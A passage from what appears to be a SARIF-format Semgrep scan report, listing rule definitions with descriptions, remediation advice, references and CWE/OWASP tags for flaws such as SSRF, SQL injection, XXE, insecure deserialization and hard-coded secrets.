go.net.csrf.gorilla-csrf.go-net-http-form-without-gorilla-csrf-protection.go-net-http-form-without-gorilla-csrf-protection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint-format-grpc.httpclient-taint-format-grpc)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint-format-grpc.httpclient-taint-format-grpc","id":"csharp.dotnet-core.ssrf.httpclient-taint-format-grpc.httpclient-taint-format-grpc","name":"csharp.dotnet-core.ssrf.httpclient-taint-format-grpc.httpclient-taint-format-grpc","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.ssrf.httpclient-taint-format-grpc.httpclient-taint-format-grpc"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"By default, clients can connect to App Service by using both HTTP or HTTPS. HTTP should be disabled enabling the HTTPS Only setting."},"help":{"markdown":"By default, clients can connect to App Service by using both HTTP or HTTPS. HTTP should be disabled enabling the HTTPS Only setting.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.appservice.appservice-enable-https-only.appservice-enable-https-only)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#https_only](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#https_only)\n - [https://docs.microsoft.com/en-us/azure/app-service/configure-ssl-bindings#enforce-https](https://docs.microsoft.com/en-us/azure/app-service/configure-ssl-bindings#enforce-https)\n","text":"By default, clients can connect to App Service by using both HTTP or HTTPS. HTTP should be disabled enabling the HTTPS Only setting."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.appservice.appservice-enable-https-only.appservice-enable-https-only","id":"terraform.azure.security.appservice.appservice-enable-https-only.appservice-enable-https-only","name":"terraform.azure.security.appservice.appservice-enable-https-only.appservice-enable-https-only","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.appservice.appservice-enable-https-only.appservice-enable-https-only"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Data that is possible user-controlled from a python request is passed to `raw()`. This could lead to SQL injection and attackers gaining access to protected information. Instead, use django's QuerySets, which are built with query parameterization and therefore not vulnerable to sql injection. For example, you could use `Entry.objects.filter(date=2006)`."},"help":{"markdown":"Data that is possible user-controlled from a python request is passed to `raw()`. This could lead to SQL injection and attackers gaining access to protected information. Instead, use django's QuerySets, which are built with query parameterization and therefore not vulnerable to sql injection. For example, you could use `Entry.objects.filter(date=2006)`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-using-raw.sql-injection-using-raw)\n - [https://docs.djangoproject.com/en/3.0/topics/security/#sql-injection-protection](https://docs.djangoproject.com/en/3.0/topics/security/#sql-injection-protection)\n","text":"Data that is possible user-controlled from a python request is passed to `raw()`. This could lead to SQL injection and attackers gaining access to protected information. Instead, use django's QuerySets, which are built with query parameterization and therefore not vulnerable to sql injection. For example, you could use `Entry.objects.filter(date=2006)`."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-using-raw.sql-injection-using-raw","id":"python.django.security.injection.sql.sql-injection-using-raw.sql-injection-using-raw","name":"python.django.security.injection.sql.sql-injection-using-raw.sql-injection-using-raw","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.sql.sql-injection-using-raw.sql-injection-using-raw"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests to http (unencrypted) sites using some of ruby's most popular REST/HTTP libraries, including httparty and restclient."},"help":{"markdown":"Checks for requests to http (unencrypted) sites using some of ruby's most popular REST/HTTP libraries, including httparty and restclient.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.http-client-requests.http-client-requests)\n - [https://github.com/rest-client/rest-client](https://github.com/rest-client/rest-client)\n - [https://github.com/jnunemaker/httparty/tree/master/docs](https://github.com/jnunemaker/httparty/tree/master/docs)\n","text":"Checks for requests to http (unencrypted) sites using some of ruby's most popular REST/HTTP libraries, including httparty and restclient."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.http-client-requests.http-client-requests","id":"problem-based-packs.insecure-transport.ruby-stdlib.http-client-requests.http-client-requests","name":"problem-based-packs.insecure-transport.ruby-stdlib.http-client-requests.http-client-requests","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.ruby-stdlib.http-client-requests.http-client-requests"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Pervasives is deprecated and will not be available after 4.10. Use Stdlib."},"help":{"markdown":"Pervasives is deprecated and will not be available after 4.10. Use Stdlib.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ocaml.lang.compatibility.deprecated.deprecated-pervasives)\n","text":"Pervasives is deprecated and will not be available after 4.10. Use Stdlib."},"helpUri":"https://semgrep.dev/r/ocaml.lang.compatibility.deprecated.deprecated-pervasives","id":"ocaml.lang.compatibility.deprecated.deprecated-pervasives","name":"ocaml.lang.compatibility.deprecated.deprecated-pervasives","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: ocaml.lang.compatibility.deprecated.deprecated-pervasives"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$STR.replace` method will only replace the first occurrence when used with a string argument ($CHAR). If this method is used for escaping of dangerous data then there is a possibility for a bypass. Try to use sanitization library instead or use a Regex with a global flag."},"help":{"markdown":"`$STR.replace` method will only replace the first occurrence when used with a string argument ($CHAR). If this method is used for escaping of dangerous data then there is a possibility for a bypass. Try to use sanitization library instead or use a Regex with a global flag.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.incomplete-sanitization.incomplete-sanitization)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"`$STR.replace` method will only replace the first occurrence when used with a string argument ($CHAR). If this method is used for escaping of dangerous data then there is a possibility for a bypass. Try to use sanitization library instead or use a Regex with a global flag."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.incomplete-sanitization.incomplete-sanitization","id":"javascript.lang.security.audit.incomplete-sanitization.incomplete-sanitization","name":"javascript.lang.security.audit.incomplete-sanitization.incomplete-sanitization","properties":{"precision":"very-high","tags":["CWE-116: Improper Encoding or Escaping of Output","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.incomplete-sanitization.incomplete-sanitization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use the `golang.org/x/crypto/bcrypt` package."},"help":{"markdown":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use the `golang.org/x/crypto/bcrypt` package.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.md5-used-as-password.md5-used-as-password)\n - [https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html](https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html)\n - [https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords](https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords)\n - [https://github.com/returntocorp/semgrep-rules/issues/1609](https://github.com/returntocorp/semgrep-rules/issues/1609)\n - [https://pkg.go.dev/golang.org/x/crypto/bcrypt](https://pkg.go.dev/golang.org/x/crypto/bcrypt)\n","text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use the `golang.org/x/crypto/bcrypt` package."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.md5-used-as-password.md5-used-as-password","id":"go.lang.security.audit.md5-used-as-password.md5-used-as-password","name":"go.lang.security.audit.md5-used-as-password.md5-used-as-password","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.md5-used-as-password.md5-used-as-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Insecure WebSocket Detected. WebSocket Secure (wss) should be used for all WebSocket connections."},"help":{"markdown":"Insecure WebSocket Detected. WebSocket Secure (wss) should be used for all WebSocket connections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-insecure-websocket.detect-insecure-websocket)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Insecure WebSocket Detected. WebSocket Secure (wss) should be used for all WebSocket connections."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-insecure-websocket.detect-insecure-websocket","id":"javascript.lang.security.detect-insecure-websocket.detect-insecure-websocket","name":"javascript.lang.security.detect-insecure-websocket.detect-insecure-websocket","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-insecure-websocket.detect-insecure-websocket"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected data rendered directly to the end user via 'Response'. This bypasses Pyramid's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Pyramid's template engines to safely render HTML."},"help":{"markdown":"Detected data rendered directly to the end user via 'Response'. This bypasses Pyramid's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Pyramid's template engines to safely render HTML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.security.direct-use-of-response.pyramid-direct-use-of-response)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected data rendered directly to the end user via 'Response'. This bypasses Pyramid's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Pyramid's template engines to safely render HTML."},"helpUri":"https://semgrep.dev/r/python.pyramid.security.direct-use-of-response.pyramid-direct-use-of-response","id":"python.pyramid.security.direct-use-of-response.pyramid-direct-use-of-response","name":"python.pyramid.security.direct-use-of-response.pyramid-direct-use-of-response","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.security.direct-use-of-response.pyramid-direct-use-of-response"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-httplib2.tainted-django-http-request-httplib2)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-httplib2.tainted-django-http-request-httplib2","id":"python.django.net.tainted-django-http-request-httplib2.tainted-django-http-request-httplib2","name":"python.django.net.tainted-django-http-request-httplib2.tainted-django-http-request-httplib2","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-httplib2.tainted-django-http-request-httplib2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-pandas-pickle-django.tainted-pandas-pickle-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-pandas-pickle-django.tainted-pandas-pickle-django","id":"python.django.deserialization.tainted-pandas-pickle-django.tainted-pandas-pickle-django","name":"python.django.deserialization.tainted-pandas-pickle-django.tainted-pandas-pickle-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-pandas-pickle-django.tainted-pandas-pickle-django"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts."},"help":{"markdown":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.ai.prompt-injection-django.prompt-injection-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts."},"helpUri":"https://semgrep.dev/r/python.django.ai.prompt-injection-django.prompt-injection-django","id":"python.django.ai.prompt-injection-django.prompt-injection-django","name":"python.django.ai.prompt-injection-django.prompt-injection-django","properties":{"precision":"very-high","tags":["CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.ai.prompt-injection-django.prompt-injection-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"help":{"markdown":"A expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.ognl-injection.ognl-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.ognl-injection.ognl-injection","id":"java.lang.security.audit.ognl-injection.ognl-injection","name":"java.lang.security.audit.ognl-injection.ognl-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.ognl-injection.ognl-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"help":{"markdown":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.cookie-missing-secure-flag.cookie-missing-secure-flag)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.cookie-missing-secure-flag.cookie-missing-secure-flag","id":"kotlin.lang.security.cookie-missing-secure-flag.cookie-missing-secure-flag","name":"kotlin.lang.security.cookie-missing-secure-flag.cookie-missing-secure-flag","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.cookie-missing-secure-flag.cookie-missing-secure-flag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.hardcoded.tokens.hardcoded-aws-secretaccesskey.hardcoded-aws-secretaccesskey)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.lang.hardcoded.tokens.hardcoded-aws-secretaccesskey.hardcoded-aws-secretaccesskey","id":"javascript.lang.hardcoded.tokens.hardcoded-aws-secretaccesskey.hardcoded-aws-secretaccesskey","name":"javascript.lang.hardcoded.tokens.hardcoded-aws-secretaccesskey.hardcoded-aws-secretaccesskey","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.hardcoded.tokens.hardcoded-aws-secretaccesskey.hardcoded-aws-secretaccesskey"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the Validator parser with `parser.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the Validator parser with `parser.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-validator-xxe-servlet.tainted-validator-xxe-servlet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the Validator parser with `parser.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-validator-xxe-servlet.tainted-validator-xxe-servlet","id":"java.servlets.security.xxe.tainted-validator-xxe-servlet.tainted-validator-xxe-servlet","name":"java.servlets.security.xxe.tainted-validator-xxe-servlet.tainted-validator-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-validator-xxe-servlet.tainted-validator-xxe-servlet"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.code.tainted-code-stdlib-flask.tainted-code-stdlib-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://www.stackhawk.com/blog/command-injection-python/](https://www.stackhawk.com/blog/command-injection-python/)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user 